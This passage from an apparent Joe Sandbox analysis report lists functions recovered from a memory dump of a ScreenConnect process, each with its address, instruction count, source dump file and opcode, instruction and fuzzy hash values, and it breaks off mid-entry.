                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 55c1edf8164a3215f6ba49b477f0ad71b7baafe388ca8c4db2e29907ec7b97a6
                                                                                          • Instruction ID: 2414acebc58d9e778ce6bcf33685b3b7a448bcfa6396d7eeab7741b50d4ef203
                                                                                          • Opcode Fuzzy Hash: 55c1edf8164a3215f6ba49b477f0ad71b7baafe388ca8c4db2e29907ec7b97a6
                                                                                          • Instruction Fuzzy Hash: ECF18D3560EB098FDBD8EE2CC0A1AA577E1FF55714B2506A9D069CF1A7CE25E842CB40
                                                                                          Function 00007FFD9B7154F2 Relevance: .5, Instructions: 456COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 9f6c87ffd08f8cfd60a41719a6d17613ce937273b0c98f5a48979c3869110e4d
                                                                                          • Instruction ID: 976031634b448584f25e8b9d88df4314824046b3f88b97ad4ca04c4773d660ba
                                                                                          • Opcode Fuzzy Hash: 9f6c87ffd08f8cfd60a41719a6d17613ce937273b0c98f5a48979c3869110e4d
                                                                                          • Instruction Fuzzy Hash: F4F16B3461EB098FDB9CEF6CC0A1AA477E2FF55304B2506B9D059CB1A7CA25F842CB50
                                                                                          Function 00007FFD9B715535 Relevance: .4, Instructions: 445COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: e6268d6d514c0d937a8bf47d94a807e2574824f367d770d04ce377a35e094449
                                                                                          • Instruction ID: 4bd1320165b55f05eec82a5bbf960630c3b47f066aaa000c95d14c1271bff9c7
                                                                                          • Opcode Fuzzy Hash: e6268d6d514c0d937a8bf47d94a807e2574824f367d770d04ce377a35e094449
                                                                                          • Instruction Fuzzy Hash: A5E16D3561EB098FDB9CEF6CC0A1AA477E2FF55304B2506B9D059CB1A7CA25F842CB50
                                                                                          Function 00007FFD9B7101F2 Relevance: .4, Instructions: 395COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: cf8a6b7f1daa7a333e281869dd116818b0f3e35aaa06a91edc652fa5b12598a8
                                                                                          • Instruction ID: 8eba20b0213d6de6be82e4533d4e0370f28f11a226a3ebd7531a1e50dae31b4d
                                                                                          • Opcode Fuzzy Hash: cf8a6b7f1daa7a333e281869dd116818b0f3e35aaa06a91edc652fa5b12598a8
                                                                                          • Instruction Fuzzy Hash: 71D12E34619B098FDBDCEF2CC0A5AA577E1FF657047250AA9D059CF2A7CA25E842CB40
                                                                                          Function 00007FFD9B715560 Relevance: .3, Instructions: 344COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 0a1841e5c9329a488a004722595f71dd7168dc9d58a4824e7dfdc4fdcdaf2618
                                                                                          • Instruction ID: c7e7f0f5bb2cd01755fdc95379e09fe6d29e624a3802ad71478479df6a3d1301
                                                                                          • Opcode Fuzzy Hash: 0a1841e5c9329a488a004722595f71dd7168dc9d58a4824e7dfdc4fdcdaf2618
                                                                                          • Instruction Fuzzy Hash: 58C10E34619B098FDB9CEF58C4A1AA573E2FF54304B250AEDD059CF2A7CA25F842CB50
                                                                                          Function 00007FFD9B718CD3 Relevance: .3, Instructions: 335COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b2c3042ca59c4bd90ca1a10eb1ab495e13b2d24dd2af8225b80750cc212f6927
                                                                                          • Instruction ID: 3dd80e14ab9127442ecc601360a26c6aee17dfb0d80af09d9d01e356444f6ff0
                                                                                          • Opcode Fuzzy Hash: b2c3042ca59c4bd90ca1a10eb1ab495e13b2d24dd2af8225b80750cc212f6927
                                                                                          • Instruction Fuzzy Hash: 43B19B62A0F7CA1FE761DB6888787B83BA1FF55340B1903BAD098871F7DD257A068351
                                                                                          Function 00007FFD9B715AA9 Relevance: .3, Instructions: 324COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4a76d7745362aa9111ae4be7771dfa9d90289fef0e29e97b9c6c2d024950db01
                                                                                          • Instruction ID: 34a6c8eb2697f14b559147eeed17d4252532099f610f58f81fa14d653e099252
                                                                                          • Opcode Fuzzy Hash: 4a76d7745362aa9111ae4be7771dfa9d90289fef0e29e97b9c6c2d024950db01
                                                                                          • Instruction Fuzzy Hash: 9BA11932A0EB4E0FEB7DEE6888A29B577E1EF643107050379C449875F2EE15B946C790
                                                                                          Function 00007FFD9B71AAC6 Relevance: .3, Instructions: 290COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: cba6afec2833e23dffe29a33f4e740b6d14d93ddd69b7b3f36361261f8129fb8
                                                                                          • Instruction ID: 70982eb2e8177538abb87f8edec64ead311f622501991e3d02e2d082e1802c85
                                                                                          • Opcode Fuzzy Hash: cba6afec2833e23dffe29a33f4e740b6d14d93ddd69b7b3f36361261f8129fb8
                                                                                          • Instruction Fuzzy Hash: 73918131B19E0E4FEBA4EB6C84A5BA973E2FF98300F1546B5D05DC72EADD24AD418740
                                                                                          Function 00007FFD9B710636 Relevance: .2, Instructions: 237COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: f43ebdc32262d92585b2c9b0c8f55e9c961ffd1af33e597e81cbf5120b9bccbf
                                                                                          • Instruction ID: e1271ce4acd45d049a2c35b282761fa4939da1abe2bcf9bafcef2c71ce22f4fc
                                                                                          • Opcode Fuzzy Hash: f43ebdc32262d92585b2c9b0c8f55e9c961ffd1af33e597e81cbf5120b9bccbf
                                                                                          • Instruction Fuzzy Hash: 2A71197072DB0E8FEBA8EB5884A1BA533D1FF58701F5111B8E44EC72A2DE64E9018750
                                                                                          Function 00007FFD9B72589D Relevance: .2, Instructions: 229COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: df37c9850ad12f3b208731ce89a97f15615163a58a3b6eade4116b9556f7872f
                                                                                          • Instruction ID: ec1cf4b1d5ca71a7897f749ddd4438d2ad85d1e7de63e872e9a473bcba49fffd
                                                                                          • Opcode Fuzzy Hash: df37c9850ad12f3b208731ce89a97f15615163a58a3b6eade4116b9556f7872f
                                                                                          • Instruction Fuzzy Hash: CF512C32F0EF4D4BE7749BA858621A97BE1EF95354F05027BE09DC31B2DE2469068341
                                                                                          Function 00007FFD9B716BFC Relevance: .2, Instructions: 210COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 92bef56608ba9827954bb7c97b4cfd1f5eb7f839f410e33be1087934392c5927
                                                                                          • Instruction ID: a24b903b2a26c81ce51c24de2a2bfceef9e4b0141b9b0e49c8864fe1888f498f
                                                                                          • Opcode Fuzzy Hash: 92bef56608ba9827954bb7c97b4cfd1f5eb7f839f410e33be1087934392c5927
                                                                                          • Instruction Fuzzy Hash: 0A611372B1EB8F4AEBB99A9844707B836C1EF54344F0613BDD49D861F6DE28F9018260
                                                                                          Function 00007FFD9B71133F Relevance: .2, Instructions: 194COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b1b6357320fcea6479dd643574fc2d3abc7941b80917037000c7fc5f4e3dbc08
                                                                                          • Instruction ID: 08eba944c18a03402dab220f7eb4c42e2efdb4b300fedbcd6bc55be9eb6ac39e
                                                                                          • Opcode Fuzzy Hash: b1b6357320fcea6479dd643574fc2d3abc7941b80917037000c7fc5f4e3dbc08
                                                                                          • Instruction Fuzzy Hash: 72516B5290F7D61AE712B7B864715E53F60AF03628B0A13F7C0D98F4B3DD49658AC2A1
                                                                                          Function 00007FFD9B712B70 Relevance: .2, Instructions: 188COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 38323f93ebc1039589e20fab9a46393692bb7ed24f5ad9c927f960dfce790cb4
                                                                                          • Instruction ID: ce9a9915c629336f0a2876e05bd8ffe344ff23b995198cdc5fca1ff968737dc8
                                                                                          • Opcode Fuzzy Hash: 38323f93ebc1039589e20fab9a46393692bb7ed24f5ad9c927f960dfce790cb4
                                                                                          • Instruction Fuzzy Hash: 6051E17270DB494FEB98DF6884A1BA573E2FF68314B0502ADD48DC72A6DE21F806C740
                                                                                          Function 00007FFD9B725B35 Relevance: .2, Instructions: 187COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 04c5678d5dfbbce2cda061dbe397f566891331b3da525b38e1e53cd93f8c2dc8
                                                                                          • Instruction ID: deedcec8bed3cf68eccd862da2576dfca9ff34580c3d0ce434f151b21ec8b9a4
                                                                                          • Opcode Fuzzy Hash: 04c5678d5dfbbce2cda061dbe397f566891331b3da525b38e1e53cd93f8c2dc8
                                                                                          • Instruction Fuzzy Hash: 48518F74619B4E8FCF94DF18C8A4AA537E1FF69314B1502A9D419CB3E2DB35E942CB40
                                                                                          Function 00007FFD9B71C748 Relevance: .2, Instructions: 156COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d34eca82a8efb09a4431ed83bd96e41bba20b985a516f843d482bb0d29fada9e
                                                                                          • Instruction ID: c1b2595cabc112d589f4fe475ebba2af2a943c3165564132e017193242cbbbc5
                                                                                          • Opcode Fuzzy Hash: d34eca82a8efb09a4431ed83bd96e41bba20b985a516f843d482bb0d29fada9e
                                                                                          • Instruction Fuzzy Hash: DC41E652B2DF4E0FE795D7BC08E967877D2EF94240B4542B6D01CCB1EBDD19A9024351
                                                                                          Function 00007FFD9B7250F6 Relevance: .2, Instructions: 151COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 515854d1677ab3f43ed47876ce632eea309d0afb2c04213202cd5d2022a8b6b8
                                                                                          • Instruction ID: 550d768c14ff75cbe7f2fb1fd80b69de30dce2244e13123b1543b842fdfd22b3
                                                                                          • Opcode Fuzzy Hash: 515854d1677ab3f43ed47876ce632eea309d0afb2c04213202cd5d2022a8b6b8
                                                                                          • Instruction Fuzzy Hash: 8E416832B1EB8E0FE759977884611B877E2EF91210F0542BAD449C71E7EE25B9068300
                                                                                          Function 00007FFD9B71C6D1 Relevance: .1, Instructions: 149COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4d1c4c0052475126a562e43d5d00cd53eff15b89e23b3eb4d995a7ae48cb62ca
                                                                                          • Instruction ID: 4829109361e4bf95c2ef47345f0f40bd0aa6f3c3bdb753e133922ca641553be0
                                                                                          • Opcode Fuzzy Hash: 4d1c4c0052475126a562e43d5d00cd53eff15b89e23b3eb4d995a7ae48cb62ca
                                                                                          • Instruction Fuzzy Hash: 3141F612B2DF4E0FE799E7BC48E567477D2EBA8240B5542B6D01CC72EBDD18AD024391
                                                                                          Function 00007FFD9B714451 Relevance: .1, Instructions: 144COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: df196c244011681091ddbca6c58e9547979394b0308506229ab4a7c9188755c8
                                                                                          • Instruction ID: e242391238cda9ea1d6518427cc4a52db8b6f45b2bb92440224b4054d44fdf02
                                                                                          • Opcode Fuzzy Hash: df196c244011681091ddbca6c58e9547979394b0308506229ab4a7c9188755c8
                                                                                          • Instruction Fuzzy Hash: 08413962B0EA4D0FEBA4DA6C44A577437D1EFA9350B0602BED44DC71B2ED18AE068750
                                                                                          Function 00007FFD9B72423D Relevance: .1, Instructions: 141COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 09c4572f87977369894cfaa71c0b3ef77a8781dce35af8c434bb48e019a524ff
                                                                                          • Instruction ID: 9fa8921787b6566326f85ea94839c9c17468a5abba6a75624f59593f4620ad43
                                                                                          • Opcode Fuzzy Hash: 09c4572f87977369894cfaa71c0b3ef77a8781dce35af8c434bb48e019a524ff
                                                                                          • Instruction Fuzzy Hash: E2410971B09B0D4FDFA4DB9894A85A837E1EF69350B06027EE50DD32B6DE25AD02C741
                                                                                          Function 00007FFD9B714145 Relevance: .1, Instructions: 141COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 6640527b3f2fb02c4ef9650b43d78e64f7c6458432adf410b723bf6817fa26cd
                                                                                          • Instruction ID: c71d767918b4ca46c62949ea999535d6494713ab35facd86a5b825b9cf01f2d9
                                                                                          • Opcode Fuzzy Hash: 6640527b3f2fb02c4ef9650b43d78e64f7c6458432adf410b723bf6817fa26cd
                                                                                          • Instruction Fuzzy Hash: 7C415B31A1EB8D0FD755AB788465BA577E1FF5A300F0502BED049C71F2CD286A46C750
                                                                                          Function 00007FFD9B71B515 Relevance: .1, Instructions: 134COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 8f3e8dd528f85368c89cfe41415682c2e5978cdf43ddc5b62d60b312e44b5262
                                                                                          • Instruction ID: 3ca68f9f597cc3eef56cd67f74fc62877ef162714793e8fee674bcc80704486a
                                                                                          • Opcode Fuzzy Hash: 8f3e8dd528f85368c89cfe41415682c2e5978cdf43ddc5b62d60b312e44b5262
                                                                                          • Instruction Fuzzy Hash: 8931F831B19F0E4FE755EB2C98A4A7473D1FF94310B54067AD40DC72B6DE25E9428781
                                                                                          Function 00007FFD9B712AEA Relevance: .1, Instructions: 120COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: ce6520a7a488e4ac5d75e37f63844739e0c2291cc6bc9a35091fe09bec765886
                                                                                          • Instruction ID: 1949db17ce7c2c4179964df46e3dcd7d8f5e0a8e33dcb4b54589c3686c91f003
                                                                                          • Opcode Fuzzy Hash: ce6520a7a488e4ac5d75e37f63844739e0c2291cc6bc9a35091fe09bec765886
                                                                                          • Instruction Fuzzy Hash: 27313872B1DB4E1FEB68AA5898569B533E1EB94350B05427AE40EC31E7FE25FD024390
                                                                                          Function 00007FFD9B71136F Relevance: .1, Instructions: 113COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: a41154e77a843a29696b874af6cbe55d31818fdfde8de48ef1d1f2fa1d1f4de6
                                                                                          • Instruction ID: 0fbcccaafcade78963ff8af974fd09c44b7e4b95b73b343192422329e30846bf
                                                                                          • Opcode Fuzzy Hash: a41154e77a843a29696b874af6cbe55d31818fdfde8de48ef1d1f2fa1d1f4de6
                                                                                          • Instruction Fuzzy Hash: 5E316B2290F79A1AD716B7BCA4B15E57F60EF03218B0A03F7D0D98E4B7ED086589C395
                                                                                          Function 00007FFD9B718EF5 Relevance: .1, Instructions: 112COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: a7aace7b62adf28cd1e9ce1ba59c3db455e33b5387e0302817f50cde1a929b8d
                                                                                          • Instruction ID: e66c688101e00cc42f301e5742da1a6b74820ebf958cddacdcc33e87c782568d
                                                                                          • Opcode Fuzzy Hash: a7aace7b62adf28cd1e9ce1ba59c3db455e33b5387e0302817f50cde1a929b8d
                                                                                          • Instruction Fuzzy Hash: 46311472B19B4E4FEBA5DB5888A87A437D3EF98740F1502B9D41CC32E6DE25A8428340
                                                                                          Function 00007FFD9B725325 Relevance: .1, Instructions: 112COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 041fcf1333093a9157b5e810ff626c8a051da6d2998c119aee612f45b1a686a4
                                                                                          • Instruction ID: aa20a99b873fe52543840e33215c6f045de22a3703f30601d244c71b7386e0ff
                                                                                          • Opcode Fuzzy Hash: 041fcf1333093a9157b5e810ff626c8a051da6d2998c119aee612f45b1a686a4
                                                                                          • Instruction Fuzzy Hash: 6F312661A0EBCA0FD756876848642603FE1EF9625470E02F7C088CF0FBDE18AC478741
                                                                                          Function 00007FFD9B71112D Relevance: .1, Instructions: 102COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 390e96f414c97876d326bc86499bf5e00d9a91216bba98eb9543dedd2606603d
                                                                                          • Instruction ID: a22e0f1e0947f946cf73dff637636e3e66eef333f23994d026e52b0e016bcc9a
                                                                                          • Opcode Fuzzy Hash: 390e96f414c97876d326bc86499bf5e00d9a91216bba98eb9543dedd2606603d
                                                                                          • Instruction Fuzzy Hash: C831D022A0F7C90ED766A77CA8752E57FA09F43224B0E02FBD4D9CB0B3DD0569898351
                                                                                          Function 00007FFD9B7110D3 Relevance: .1, Instructions: 102COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4148f4274aab6cddc15d75758e47cbd491e3487d01f6ebc342523b9609b31765
                                                                                          • Instruction ID: 2825114132c83ce59161c31edfee6c67cdf27b7a94aa45cb891d72491e1bffaa
                                                                                          • Opcode Fuzzy Hash: 4148f4274aab6cddc15d75758e47cbd491e3487d01f6ebc342523b9609b31765
                                                                                          • Instruction Fuzzy Hash: C531A02290F7C90ED7A6A67868756F53FB0AF42224B0A02FBD488CF4B3DD0869458361
                                                                                          Function 00007FFD9B71BDD0 Relevance: .1, Instructions: 98COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 6e754f5fc32121f0ce9723996f821ff417e94016538bb19c02a0d8f65a1916fd
                                                                                          • Instruction ID: 3d1014089c0b6f79397c634dbd411841acc9b0496d1d9bf551e923ed06d4395b
                                                                                          • Opcode Fuzzy Hash: 6e754f5fc32121f0ce9723996f821ff417e94016538bb19c02a0d8f65a1916fd
                                                                                          • Instruction Fuzzy Hash: F721243170DF4C4FDBE4EE6C98986253BE0EBA8355B0406BED549C7271DA21D9498781
                                                                                          Function 00007FFD9B7111B8 Relevance: .1, Instructions: 97COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 8f44e15d02a564008c555674c0f3eb6d677dd14a32176df53cc1712740c73e69
                                                                                          • Instruction ID: 2e7dc5f75d0942761db898b5556342eb04937bbe5c087dd40164f70db845047c
                                                                                          • Opcode Fuzzy Hash: 8f44e15d02a564008c555674c0f3eb6d677dd14a32176df53cc1712740c73e69
                                                                                          • Instruction Fuzzy Hash: 85217C72F1EB4E0EF768E7A818A26B477D1FF5025074502BAD049C71B7DC09E94683A0
                                                                                          Function 00007FFD9B715D49 Relevance: .1, Instructions: 93COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
